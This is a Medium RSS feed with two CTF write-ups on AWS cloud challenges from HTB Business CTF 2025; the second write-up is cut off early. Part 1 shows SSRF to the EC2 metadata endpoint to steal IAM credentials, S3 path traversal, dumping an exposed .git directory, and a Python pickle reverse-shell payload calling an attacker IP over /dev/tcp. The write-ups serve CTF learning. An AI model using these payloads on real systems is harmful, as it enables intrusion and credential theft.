<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Crisdeo Nuel Siahaan on Medium]]></title>
        <description><![CDATA[Stories by Crisdeo Nuel Siahaan on Medium]]></description>
        <link>https://medium.com/@k_kisanak?source=rss-95298496373d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*Bf1zm5UZxOiKCWwf</url>
            <title>Stories by Crisdeo Nuel Siahaan on Medium</title>
            <link>https://medium.com/@k_kisanak?source=rss-95298496373d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 02:16:04 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@k_kisanak/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Learning Cloud with HTB Business CTF 2025 — A Complete (cloud) Writeup: Part 1]]></title>
            <link>https://infosecwriteups.com/learning-cloud-with-htb-business-ctf-2025-a-complete-cloud-writeup-part-1-6188fa67219c?source=rss-95298496373d------2</link>
            <guid isPermaLink="false">https://medium.com/p/6188fa67219c</guid>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[htb-business]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <dc:creator><![CDATA[Crisdeo Nuel Siahaan]]></dc:creator>
            <pubDate>Sun, 01 Jun 2025 19:38:41 GMT</pubDate>
            <atom:updated>2025-07-31T06:12:12.313Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Learning Cloud with HTB Business CTF 2025 — A Complete (cloud) Writeup: Part 1</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2MyP75iXjyabhZNkZuAmyQ.jpeg" /></figure><blockquote>The cloud hides complexity — but misconfigurations make it visible.</blockquote><p>Welcome!</p><p>In this writeup, I’ll walk you through all the cloud challenges from <strong>HTB Business CTF 2025</strong>. I competed with the ITSEC Asia team, and we ended up securing 16th place out of 795 companies. It was a fun experience competing alongside our colleagues, as it also gave us the chance to collaborate across borders between the Indonesia and Singapore branches.</p><p>This writeup is aimed at <strong>beginners and intermediate cloud CTF players</strong> who want to:</p><ul><li><strong>Understand the problem-solving process,</strong></li><li><strong>Learn the basic cloud services</strong></li><li><strong>Earn the tools and techniques used in cloud security,</strong></li></ul><p>There are 5 cloud challenges in total, which all of them is AWS-based, from S3 buckets to codebuild service. There were also several challenges that combines cloud vulnerability with basic web exploitation categories vulnerability, which makes it more challenging to solve.</p><p>As I’m a beginner myself, I’ll try to explains stuff in this writeup as beginner-friendly as possible. I’ll focus on <strong>explaining each step clearly</strong> — not just dumping commands or payloads, but explaining <strong>why</strong> we do each action. Because the explanation is going deeper on details, I will split this writeup into 2 parts. Enjoy!</p><p>Let’s dive into each challenge one by one.</p><h3>[825 points] Dashboarded</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QCngDezVhNNjrqVi8X_Kfg.png" /></figure><blockquote><strong>TLDR:</strong></blockquote><blockquote><strong>- SSRF in web application</strong></blockquote><blockquote><strong>- Retrieve AWS EC2 Credentials</strong></blockquote><blockquote><strong>- Use obtained credentials to access restricted endpoint</strong></blockquote><h4>Initial Look</h4><p>At first, we are presented with a normal looking dashboard consist of several infrastructure status reports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*now-ELeH8V-HYj7tGVGmXQ.png" /></figure><p>There’s a <strong>check status</strong> button which used to retrieve informations about the status of their infrastructure. On click, a request will be sent with cloud uri on the parameter URL. This is likely susceptible for <strong>AWS EC2 SSRF metadata leak</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N4TpgMUx40kr-pPaptiyYQ.png" /></figure><h4><strong>Quick Idea</strong></h4><p><strong>AWS EC2</strong></p><p>You see, in AWS, EC2 (Elastic Cloud Computing) refers to a web service that provides virtual servers in the Amazon Web Services. You can think of it as a virtual computer you can rent from AWS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dsxoo-hMmfhbSsjkW-az6A.jpeg" /></figure><p><strong>AWS EC2 and SSRF</strong></p><p>Every EC2 instance has a special IP: <a href="http://169.254.169.254/latest/meta-data/">http://169.254.169.254/latest/meta-data/</a> . If you hit this URL <strong>from inside the server</strong>, you can get: Instance info (instance ID, AWS region), IAM roles, even security credentials (temporary access keys) that you might able use for accessing other services based on its privilege. What to note is you cannot hit this IP from outside the corresponding EC2 instance.</p><p>Therefore, abusing an SSRF in this context means hacker tricks an application into making a request to the special IP, and retrieve the metadata.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ubYM07NvYoa_2IoOjbhjyg.jpeg" /><figcaption>Basic concept of AWS SSRF</figcaption></figure><h4>Exploit</h4><p><strong>Getting the creds</strong></p><p>For sanity checking, we can change the url inside the request to the special IP <a href="http://169.254.169.254/latest/meta-data/">http://169.254.169.254/latest/meta-data/</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gV_rpQQWg78aIOwO6SWIaQ.png" /></figure><p>Sweet! the response showing some objects above shows that it does vulnerable. Now what we need to do is to retrieve temporary security credentials of the role attached to the instance profile by pointing the SSRF to <a href="http://169.254.169.254/latest/meta-data/">http://169.254.169.254/latest/meta-data/iam/security-credentials/</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6oplveEga7u3NqKuumUPIQ.png" /></figure><p>And now we retrieve the credential owned by role <strong>APICallerRole </strong>credential by pointing the SSRF to http://169.254.169.254/latest/meta-data/iam/security-credentials/APICallerRole</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X0uQkkVadJ4R9dZ0g7hAkA.png" /></figure><p>Great! We compromised the APICallerRole credential where:</p><blockquote>Access Key ID = <strong>ASIARHJ…6UUTD</strong> (starts with AKIA or ASIA for temporary creds, in this case this key is temporary creds)</blockquote><blockquote>Secret Access Key = <strong>F7zETSJ…bd5im (</strong>40 characters, random-looking string)</blockquote><blockquote>Session Token = <strong>IQoJb3JpZ…3m5AlcF1o= (</strong>long Base64-like string)</blockquote><p><strong>Configuring the creds</strong></p><p>But how exactly do we gonna use the key? By configuring the keys to our machine like this:</p><ol><li>Install awscli (<a href="https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html">https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html</a>)</li><li>Directly edit aws credentials configuration file</li></ol><pre>nano ~/.aws/credentials</pre><p>3. Write this to the file</p><pre>[your_profile_name]<br>aws_access_key_id = {obtained access key id}<br>aws_secret_access_key = {obtained secret access key}<br>aws_session_token = {obtained session token}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CPgwY4pRTm0vUCjhjd6Zpg.png" /></figure><p>After configuring our new aws keys, we can check the validity by doing this command to check our key’s identity:</p><pre>aws sts get-caller-identity --profile {your_profile_name}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*trWCv49z9N8DKG6pSqqEjA.png" /></figure><p>Getting such response shows that our key is truly valid to the account.</p><p><strong>Enumerating the privilege</strong></p><p>We obtained the creds, but we don’t know this role’s permissions, and likely can’t query them directly. One way to discover them is by trial and error — several GitHub tools can help enumerate IAM permissions. My favorite tools for doing this is using <a href="https://github.com/andresriancho/enumerate-iam"><strong>https://github.com/andresriancho/enumerate-iam</strong></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IpfOseolBpaTLsxpaNnzXw.png" /></figure><p>After getting the repo cloned, I used this command</p><pre>python3 enumerate-iam.py --access-key {your_access_key} \<br>--secret-key {your_secret_key} \<br>--session-token {your_session_token}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sSJbNIveDFiAcz--cfd-3Q.png" /></figure><p>So far there are 2 privilege we can find:</p><ul><li><strong>sts:get_caller_identity()</strong> which we already used before, used to tell who you are from AWS’s perspective when using a set of credentials.</li><li><strong>dynamodb:describe_endpoints()</strong> which used to return the DynamoDB endpoints for the current region. <strong>This privilege is rarely used in CTF cases</strong>, and usually not that much needed for normal DynamoDB operations like creating tables, inserting items, etc.</li></ul><p>But for our knowledge, let’s find out what output the dynamodb:describe_endpoints() would gives.</p><pre>aws dynamodb describe-endpoints --profile {your_profile_name}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4OyE_2C_C8uAggnZRb6TyA.png" /></figure><p>It seems we have to specify the aws region. To find out the instance region, we can go back utilizing the SSRF by pointing it to http://169.254.169.254/latest/dynamic/instance-identity/document</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P5NnrOukwMhRdxr1rLYfJA.png" /></figure><p>Now we get that the region this instance is running is on <strong>us-east-2 . </strong>Let’s specify that into our command</p><pre>aws dynamodb describe-endpoints --profile {your_profile_name} \<br>--region {your_region}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Rq3cq-pQK0oKmIE4IRHJw.png" /></figure><p>There is no privilege or informations I can use to elevate my progress. Hence, I have to look at the other places.</p><p><strong>The hidden API</strong></p><p>Having a dead end, I decided to go back to the website to search for anything interesting. I saw the original url value sent by the application. https://inyunqef0e.execute-api.us-east-2.amazonaws.com/api/status</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*abxYaPOSG4TgpwD_IVti5g.png" /></figure><p>I visited the URL directly. It’s just a normal JSON.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E2n35wBNhyXPwHCE0ukUMg.png" /></figure><p>Being curious, I removed the “status” part and visited <a href="https://inyunqef0e.execute-api.us-east-2.amazonaws.com/api/status">https://inyunqef0e.execute-api.us-east-2.amazonaws.com/api/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TIn2MJzImFUgPwFvj8rokw.png" /></figure><p>Turns out there are other endpoint “/private”. Let’s see what this endpoint can do.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*drHlk_dp7urqJwJoSz33rw.png" /></figure><p>At this point I’m thinking… what sort of “authentication” are we talking about? That’s where I realized, maybe it refers to <a href="https://docs.aws.amazon.com/AmazonS3/latest/API/sig-v4-authenticating-requests.html#auth-methods-intro"><strong>amazon signing request</strong> </a>. Basically, our request will be sent with <strong>additional AWS authentication header or parameter which will be used to authenticate </strong>to the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*y3GJhOOhbStRDluHSEtzRg.png" /><figcaption>AWS signing request process (src: <a href="https://docs.aws.amazon.com/AmazonS3/latest/API/sig-v4-authenticating-requests.html">https://docs.aws.amazon.com</a>)</figcaption></figure><p>Now, who should I authenticate as when connecting to the API? Yes — with our previously obtained credentials.</p><p><em>Well, to think that the credential is from a role called </em><strong><em>APICallerRole</em></strong></p><p>Searching for references, I found out that I can use <a href="https://github.com/okigan/awscurl"><strong>https://github.com/okigan/awscurl</strong></a> to support what I need to do.</p><p>After installing, here’s how I used the tool.</p><pre>awscurl \<br>--service execute-api \<br>--region {your_region} \<br>--access_key {your_access_key} \<br>--secret_key {your_secret_key} \<br>--session_token {your_session_token} \<br>https://inyunqef0e.execute-api.us-east-2.amazonaws.com/api/private/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ODLGp4C6CMiNVCiRmz7EtA.png" /></figure><p>The result shows that <strong>the application successfully authenticated us</strong>, thus returning response with a complete list of data, including the flag. This is what the request looks like in burpsuite:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9VX9y0GwBlp5hYS-aAA8-g.png" /></figure><p>Hence, we completed our first chall. Yay!</p><h4>Flag</h4><blockquote><strong>HTB{d4sh1nG_tHr0ugH_DaSHb04rDs}</strong></blockquote><h3>[825 points] Vault</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7nunINFNCAl_ZdmCWrUHFg.png" /></figure><blockquote><strong>TLDR:</strong></blockquote><blockquote><strong>- Path traversal in access token generation</strong></blockquote><blockquote><strong>- Accessing restricted files in s3 bucket</strong></blockquote><h4>Initial Look</h4><p>This time, we start with file storage website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AEyyDpYloNX_hevssylaTw.png" /></figure><p>Let’s try to download one of the file Canteen_Water_Safety_Bulletin_2024_Q1.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*__WE7Q1QYXMtiT7NYpr8bQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y0-JpsyrqeBhT0ukB3DiVQ.png" /></figure><p>For downloading a single file, the application perform multiple processes which involving <strong>AWS S3</strong>. Let’s break it down.</p><h4>Quick Idea</h4><p><strong>AWS S3</strong></p><p>This website is involving S3 service. AWS S3 (Simple Storage Service) refers to a AWS cloud storage service that could be used to store files/objects inside containers (called buckets).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nWoszbhTvsgMQ1SGJdPr-g.jpeg" /></figure><p><strong>Flow of the App</strong></p><p>More or less, here’s how the webapp works:</p><ul><li>User send request to <a href="http://volnaya-vault-lb-69672775.eu-north-1.elb.amazonaws.com/api/download,">http://volnaya-vault-lb-69672775.eu-north-1.elb.amazonaws.com/api/download</a> with the requested file</li><li>The app will generate an AWS signing request link, which we have discussed before</li><li>User send the AWS signing request link to volnaya-vault.s3.eu-north-1.amazonaws.com</li><li>The application will authenticate our request, and send back the requested file.</li></ul><p>Next, as we already know that this is an s3 bucket, we will use awscli and aws profile from previous challs to enumerate what files are stored in this s3. To do that, we can use this command:</p><pre>aws s3 ls s3://{bucket_name}/ --recursive --profile {your_profile_name}</pre><blockquote>note: AWS S3 URLs often follow this pattern: {bucket-name}.s3.{region}.amazonaws.com. Our S3 url is volnaya-vault.s3.eu-north-1.amazonaws.com, so the bucket-name will be <strong>volnaya-vault.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NyNiODhOI2Z7wjI2lX-kRA.png" /></figure><p>The enumeration results shows that there is 2 secret files in /vault/private directory which we didn’t find earlier from the website. Let’s try to copy them to our machine.</p><pre>aws s3 cp &quot;s3://volnaya-vault/vault/private/DIRECTORAATE ALPHA &amp; BETA FIELD OPERATIVES.docx&quot; . \<br>--profile dashboarded_api_caller</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PiTzMUCgxkkW1xgwDZLaUQ.png" /></figure><p>Aw snap! Turns out we are prohibited to pull the files. Maybe because we didn’t have enough privilege to access the objects. So the problem relates to <strong>privilege.</strong></p><h4>Exploit</h4><p><strong>Traversing the parameter</strong></p><p>Remember what the website do? It generates AWS signing request URL for our desired files. That way, we can downloaded the file with a sufficient privilege.</p><p>However, the website generally create request for files inside /vault/public/ directory, while our target is files from /vault/private directory. <strong>That’s why we need to add a path traversal </strong><strong>../ to the requested file.</strong></p><blockquote>“filename” : “your_public_file.txt” =&gt; will refers to /vault/public/your_public_file.txt</blockquote><p>to</p><blockquote>“filename” : “../private/your_private_file.txt” =&gt; will refers to /vault/public/../private/your_private_file.txt which same as /vault/private/your_private_file.txt</blockquote><p>With the idea in mind, we send the tampered request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yhlxlm-nIssEjFhx9ma-yQ.png" /></figure><p>And now we visit the generated signing request url.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*58sr3inLtmUBd2va09yfhA.png" /></figure><p>Sweet! The private file is immediately downloaded. Let’s see what is inside the private file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PeHD0glr5tpk5gHhfzj_RA.png" /></figure><p>Yay!</p><h4>Flag</h4><blockquote><strong>HTB{Tr4v3rsing_buck3ts_4fun}</strong></blockquote><h3><strong>[950 points] TowerDump</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XPI0jJNdIS1hu05RY2Pg6A.png" /></figure><blockquote><strong>TLDR:</strong></blockquote><blockquote><strong>- Exposed .git files in directory</strong></blockquote><blockquote><strong>- Insecure Pickle Deserialization in AWS Lambda Service.</strong></blockquote><h4>Initial Look</h4><p>Visiting the application, it’s another dashboard that shows a power consumption chart.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T3y9epqypT0whAjJmKhGYQ.png" /></figure><p>Clicking a blue box “Download SVG” button will send a POST request to http://98.85.164.2/api/chart</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*__WE7Q1QYXMtiT7NYpr8bQ.png" /></figure><p>I took an embarassingly amount of hours playing with the parameters and searching for nonexistent exploits (I even thought it was a NoSQL injection). All that effort returns no significant result at all 😭.</p><p>That’s when my colleague brings me the good news.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6fqQaKA1n290emrVZAZ6xg.png" /></figure><p>Wow. Turns out using <a href="https://github.com/OJ/gobuster">gobuster </a>find a hidden endpoint in <a href="http://98.85.164.2/code/">http://98.85.164.2/code/</a>. There’s also .git files. Perhaps we can find something interesting by traversing the exposed repository.</p><blockquote>Always remember not to expose your .git in your server, lads.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WuB93j_s-5-gZqoSexh03w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QzqGKiXaVY7IcHNHaSuT7g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0NaUKKd8RX9zI1cMmj6EiA.png" /></figure><p>Let’s dump the .git files. My favorite command for dumping entire .git files is:</p><pre>wget -r -np -nH --cut-dirs=1 -R &quot;index.html*&quot; http://98.85.164.2/code/.git</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M7ADvH9P7M9MvW0SnmL0hA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S1_gp-5bbshDA9cxwNNJhQ.png" /></figure><p>Once done, let’s see start the enumeration by reading the log update of branch main</p><pre>cat .git/logs/refs/heads/main</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3x6BKd_afeR08MYm-gPpWA.png" /></figure><p>There is one commit hash 9e18ce43ba27181f415e8a18086af7149664fc61 . Let’s checkout to the hash</p><pre>git checkout 9e18ce43ba27181f415e8a18086af7149664fc61</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u2UV0-cwAb6LJdGRTp_1Ag.png" /></figure><p>By doing so, we switch to the branch of the commit. As we can see from the output, there are bunch of files with <strong>D </strong>symbol on the left which means <strong>deleted</strong>. To recover them, we can use:</p><pre>git restore .</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*scsdWoUqmkS7L6wu-9OFVg.png" /></figure><pre>└─$ tree .<br>.<br>├── README.md<br>├── apache2<br>│   └── apache.conf<br>├── deploy.sh<br>├── docker-compose.yml<br>├── example.env<br>├── src<br>│   ├── dashboard<br>│   │   ├── Dockerfile<br>│   │   ├── app.py<br>│   │   ├── init_db.py<br>│   │   ├── requirements.txt<br>│   │   └── static<br>│   │       ├── app.js<br>│   │       ├── index.html<br>│   │       ├── script.js<br>│   │       └── styles.css<br>│   └── lambda<br>│       └── chart<br>│           ├── graph.py<br>│           ├── main.py<br>│           └── requirements.txt<br>└── terraform<br>    ├── api_gateway.tf<br>    ├── lambda.tf<br>    ├── main.tf<br>    ├── outputs.tf<br>    └── variables.tf</pre><p>Now we have recovered bunch of files, which looks likes the source code of the application. I’ve tried exploring the configuration files for leaked credentials of secret keys, but nothing significant was found. We have to go to source code analysis.</p><p>However, a directory called <strong>lambda </strong>exist, is it involved with AWS Lambda?</p><h4>Quick Idea</h4><p><strong>AWS Lambda</strong></p><p>AWS Lambda is a cloud service provided by Amazon Web Services (AWS) that lets you run code <strong>without managing servers</strong>. This is called <strong>serverless computing</strong>. Lambda automatically runs the code when triggered (like from an API call, file upload, event, etc).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f8f6NyZ1SAid3pyji87yfw.jpeg" /></figure><p><strong>Source Code Analysis — Insecure deserialization of Python Pickle</strong></p><p>We found the main lambda function at <strong>./src/lambda/chart/main.py</strong></p><pre>import json<br>import base64<br><strong>import pickle</strong><br>from graph import generate_svg_graph<br><br>def lambda_handler(event, context):<br>    try:<br>        # Parse the request body<br><strong>        body = json.loads(event[&#39;body&#39;])<br><br>        if &quot;pickled&quot; in body and body[&quot;pickled&quot;]:<br>            body = base64.b64decode(body[&quot;data&quot;])<br>            body = pickle.loads(body)</strong><br><br>        # Extract labels and values from the request<br>        labels = body.get(&#39;labels&#39;, [])<br>        values = body.get(&#39;values&#39;, [])<br><br>        # Validate input<br>        if not labels or not values or len(labels) != len(values):<br>            return {<br>                &#39;statusCode&#39;: 400,<br>                &#39;headers&#39;: {<br>                    &#39;Content-Type&#39;: &#39;application/json&#39;<br>                },<br>                &#39;body&#39;: json.dumps({<br>                    &#39;error&#39;: &#39;Invalid input: labels and values must be non-empty lists of equal length&#39;<br>                })<br>            }<br><br>        # Generate SVG graph<br>        svg_content = generate_svg_graph(labels, values)<br><br>        # Convert SVG to base64<br>        svg_bytes = svg_content.encode(&#39;utf-8&#39;)<br>        svg_base64 = base64.b64encode(svg_bytes).decode(&#39;utf-8&#39;)<br><br>        return {<br>            &#39;statusCode&#39;: 200,<br>            &#39;headers&#39;: {<br>                &#39;Content-Type&#39;: &#39;image/svg+xml&#39;,<br>                &#39;Access-Control-Allow-Origin&#39;: &#39;*&#39;,<br>                &#39;Access-Control-Allow-Methods&#39;: &#39;POST, OPTIONS&#39;,<br>                &#39;Access-Control-Allow-Headers&#39;: &#39;Content-Type&#39;<br>            },<br>            &#39;body&#39;: svg_base64,<br>            &#39;isBase64Encoded&#39;: True<br>        }<br><br>    except Exception as e:<br>        return {<br>            &#39;statusCode&#39;: 500,<br>            &#39;headers&#39;: {<br>                &#39;Content-Type&#39;: &#39;application/json&#39;,<br>                &#39;Access-Control-Allow-Origin&#39;: &#39;*&#39;<br>            },<br>            &#39;body&#39;: json.dumps({<br>                &#39;error&#39;: str(e)<br>            })<br>        }</pre><p>In the code above, the code checks if the incoming JSON contains a &quot;pickled&quot; field set to true; if so, it base64-decodes the &quot;data&quot; field and then deserializes it using pickle.loads() from pickle module. This could lead to <strong>Remote Code Execution, </strong>as malicious code can be embedded into the pickle data that comes from untrusted input.</p><blockquote>More information about this vulnerability can be found in this great article <a href="https://davidhamann.de/2020/04/05/exploiting-python-pickle/">https://davidhamann.de/2020/04/05/exploiting-python-pickle/</a></blockquote><p>And this is the place where can we supply the inputs <strong>body </strong><strong>./src/dashboard/app.py</strong></p><pre><strong>@app.post(&quot;/api/chart&quot;)</strong><br>async def proxy_chart_request(data: dict):<br>    try:<br><strong>        lambda_url = os.getenv(&#39;CHART_LAMBDA_URL&#39;, &#39;&#39;)<br>        response = requests.post(<br>            lambda_url,<br>            headers={&quot;Content-Type&quot;: &quot;application/json&quot;},<br>            json=data<br>        )</strong><br>        if response.status_code != 200:<br>            raise HTTPException(status_code=response.status_code, detail=&quot;Lambda function error&quot;)<br>        return Response(content=response.text, media_type=&quot;image/svg+xml&quot;)<br>    except Exception as e:<br>        raise HTTPException(status_code=500, detail=str(e))</pre><p>Turns out, the request body can be sent from API POST /api/chart, which we have found earlier (remember the <strong>Download SVG</strong> button).</p><p><strong>To summarize, this is our attack idea:</strong></p><ol><li>Prepare the python pickle payload to run reverse shell</li><li>Setup publicly hosted reverse shell listener (I’m using VPS)</li><li>Send POST request to http://98.85.164.2/api/chart with request body like this:</li></ol><pre>{<br> &quot;pickled&quot;:true,<br> &quot;data&quot;:&quot;{your_pickle_rce_payload}&quot;<br>}</pre><h4>Exploit</h4><ol><li>Let’s prepare our python pickle reverse shell payload</li></ol><pre>#pickler.py<br><br>import pickle, base64, os<br><br>class RCE:<br>    def __reduce__(self):<br>        return (os.system, (&quot;bash -i &gt;&amp; /dev/tcp/xx_attacker_ip_xx/6004 0&gt;&amp;1;&quot;,))<br><br>payload = pickle.dumps(RCE())<br>print(base64.b64encode(payload).decode())</pre><p>run the code will produce our payload</p><pre>python3 pickler.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1-zvEct75I8-syLZRDbbFQ.png" /></figure><p>2. Let’s run up our reverse shell listener on our virtual private server</p><pre>nc -nlvp 6004</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rtgps6Me0rlQleydHc2HrQ.png" /></figure><p>3. Send the POST request to <a href="http://98.85.164.2/api/chart">http://98.85.164.2/api/chart</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*54p97ZvbaCyIrXRasOA1FA.png" /></figure><p>4. Check our listener again. Voila! Reverse shell connection established</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1RWRiOXUgPyT27Yyu39mYg.png" /></figure><p>5. Read the flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5rZGxhGmxc-qW9u0M4HgVw.png" /></figure><p>We got the flag!</p><h4>Flag</h4><blockquote><strong>HTB{L4mbd4_C0d3_1nj3ct10n_1s_Sp00ky}</strong></blockquote><h3>Continue in Part 2</h3><p>That’s it for Part 1! We’ve covered the first set of cloud challenges and walked through the initial steps to approach AWS in a CTF environment.</p><p>But we’re just getting started — in <strong>Part 2</strong>, we’ll dive deeper into more advanced challenges, explore privilege escalation paths, and tackle some fun misconfigurations.</p><p>👉 <strong>Make sure to check out Part 2 to continue the journey!</strong></p><p><a href="https://medium.com/@k_kisanak/learning-cloud-with-htb-business-ctf-2025-a-complete-cloud-writeup-part-2-end-4274d9ea2646">Learning Cloud with HTB Business CTF 2025 — A Complete (cloud) Writeup: Part 2 (END)</a></p><h3>References</h3><ul><li><a href="https://docs.aws.amazon.com/AmazonS3/latest/API/sig-v4-authenticating-requests.html">Authenticating Requests (AWS Signature Version 4)</a></li><li><a href="https://davidhamann.de/2020/04/05/exploiting-python-pickle/">Exploiting Python pickles</a></li><li><a href="https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/">Steal EC2 Metadata Credentials via SSRF - Hacking The Cloud</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6188fa67219c" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/learning-cloud-with-htb-business-ctf-2025-a-complete-cloud-writeup-part-1-6188fa67219c">Learning Cloud with HTB Business CTF 2025 — A Complete (cloud) Writeup: Part 1</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Learning Cloud with HTB Business CTF 2025 — A Complete (cloud) Writeup: Part 2 (END)]]></title>
            <link>https://infosecwriteups.com/learning-cloud-with-htb-business-ctf-2025-a-complete-cloud-writeup-part-2-end-4274d9ea2646?source=rss-95298496373d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4274d9ea2646</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[htb-business-2025]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cloud-security]]></category>
            <dc:creator><![CDATA[Crisdeo Nuel Siahaan]]></dc:creator>
            <pubDate>Sun, 01 Jun 2025 19:37:30 GMT</pubDate>
            <atom:updated>2025-07-31T06:11:35.376Z</atom:updated>
            <content:encoded><![CDATA[<h3>Learning Cloud with HTB Business CTF 2025 — A Complete (cloud) Writeup: Part 2 (END)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JHC1wv2jrrtxPkCAtAKbJw.jpeg" /></figure><blockquote>In the cloud, misconfigurations rain breaches — but knowledge clears the skies.</blockquote><p>Welcome back to Part 2 of Learning Cloud with HTB Business CTF 2025!</p><p>In Part 1, we explored the fundamentals, handled the initial cloud challenges, and got familiar with the basic enumeration and AWS services involved.</p><p>Now, in Part 2, we’re moving forward into <strong>more advanced cloud attack paths</strong>, including:</p><ul><li>privilege escalations</li><li>abuse of cloud-native services</li><li>and chaining multiple vulnerabilities together.</li></ul><p>As always, I’ll break down each step with clear explanations, practical commands, and the reasoning behind every move — so even if you’re still building your cloud hacking skills, you can follow along and hopefully apply these techniques in future CTFs or real-world assessments.</p><p>Let’s get into it 🚀</p><h3>[925 points] EBS</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IgevI8OkpHm7C30BZE9lxQ.png" /></figure><blockquote><strong>TLDR:</strong></blockquote><blockquote><strong>- AWS Cognito identity pool escalation</strong></blockquote><blockquote><strong>- Enumerating AWS key privilege</strong></blockquote><blockquote><strong>- Exposing AWS DynamoDB tables</strong></blockquote><h4>Initial Look</h4><p>Upon visiting, we were greeted with a front page with sign in button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UbuV2YTjZ5lFvIlhHKNp8w.png" /></figure><p>Upon clicking, we were redirected to https://ebs-we7uo726.auth.eu-north-1.amazoncognito.com which was an <strong>AWS cognito</strong> login and 